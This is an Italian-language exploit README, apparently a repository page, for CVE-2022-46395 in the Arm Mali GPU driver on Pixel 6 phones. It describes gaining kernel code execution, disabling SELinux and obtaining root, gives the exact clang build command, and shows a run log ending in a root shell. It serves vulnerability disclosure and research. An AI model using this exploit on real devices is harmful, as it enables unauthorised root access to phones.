smiletablabo/cve-2022-46395Exploit del kernel Android per CVE-2022-46395 che prende di mira il driver Arm Mali per ottenere l'esecuzione di codice arbitrario, disabilitare SELinux e ottenere i privilegi di root sui dispositivi Pixel 6.
Il write-up si trova qui. Si tratta di un bug nel driver del kernel Arm Mali che ho segnalato a novembre 2022. Il bug può essere utilizzato per ottenere l'esecuzione arbitraria di codice nel kernel dal dominio di app non fidato, che viene poi utilizzato per disabilitare SELinux e ottenere i permessi di root.
L'exploit è testato su Google Pixel 6 con le patch di novembre 2022 e gennaio 2023. Per riferimento, ho usato il seguente comando per compilare con clang in ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf
L'exploit dovrebbe essere eseguito un paio di minuti dopo l'avvio e probabilmente dovrà funzionare per alcuni minuti per avere successo. Non è raro fallire le race condition centinaia di volte, anche se fallire la race condition non ha alcun effetto negativo e l'exploit nel suo insieme raramente crasha. Se ha successo, dovrebbe disabilitare SELinux e ottenere i permessi di root.
oriole:/ $ /data/local/tmp/mali_user_buf
fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
benchmark_time 357
failed after 100
failed after 200
failed after 300
benchmark_time 343
failed after 400
failed after 500
failed after 600
benchmark_time 337
failed after 700
failed after 800
failed after 900
benchmark_time 334
failed after 1000
failed after 1100
failed after 1200
benchmark_time 363
failed after 1300
finished reset: 190027720 fault: 135735849 772 err 0 read 3
found pgd at page 4
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
result 50
oriole:/ #